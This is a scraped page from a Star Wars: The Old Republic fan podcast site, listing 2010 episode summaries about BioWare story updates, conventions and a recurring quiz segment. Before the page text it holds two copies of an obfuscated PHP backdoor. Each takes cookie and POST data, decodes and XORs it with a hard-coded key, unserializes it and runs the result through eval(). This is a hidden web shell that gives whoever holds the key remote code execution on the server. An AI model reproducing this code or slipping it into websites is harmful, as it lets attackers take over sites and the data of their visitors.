$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Sith or Jedi – Page 2 – Corellian Run Radio
Oct 262010
 

Gameplay News, It's A-Comin'

It’s Star Wars Story Time!  Again!  Lorehounds are happy as happy can be as BioWare puts out one story update after another.  Those wanting gameplay info will have to wait a bit longer.  BioWare keeps humming that ol’ gospel tune, “Soon and Very Soon,” but the community ain’t joining in. Continue reading »

Sep 272010
 

Sith Lord Mickey Loves Chapeau Shenanigans

Nothing as menacing as an adorable little clown hat when you’re trying to teach a Sith apprentice his place! This week we discuss the last installment of Blood of the Empire, community polls, Jedi, and the Smuggler update bonanza.  In other news, the millinery tomfoolery continues.

Fact or Fiction? (5:05) Can you pick out the confirmed fact from the tall tales? Continue reading »

Sep 152010
 

HK-47 haz salutationz

The last convention of the season rolled through Seattle, WA over Labor Day Weekend.  Did we get a big reveal?  Mmmmm….kinda, sorta, maybe, depending on who you were talking to.

Fact or Fiction Can you pick out the confirmed fact from the tall tales?  This week’s host challenge concerns playable species, playable planets, and Maggot. Continue reading »

Aug 312010
 

"Lightsabers at dawn, Mr. Wizard!"

It’s Harry Potter time!  Between the Advanced Classes announcement and all the Gamescom coverage, there was tons o’ TOR-related news out there.  We were almost defeated by the many, many interruptions that happened during the recording session (are monitors supposed to flash like lightning and then black out?  Does that dog have to keep barking?  Why is every one of these phone calls actually important?), but we persevered to bring you one of our most information-packed podcasts to date. Continue reading »

Aug 182010
 

Rail Shooter Makes for Unhappy Smuggler

It’s convention season, which means the devs are out there giving interviews, doing panels, whipping the fans up by hinting at wondrous wonders.  What will our characters look like?  What will they fly?  What will they do when they fly?  Why should we care about stories that happened 300 years Continue reading »

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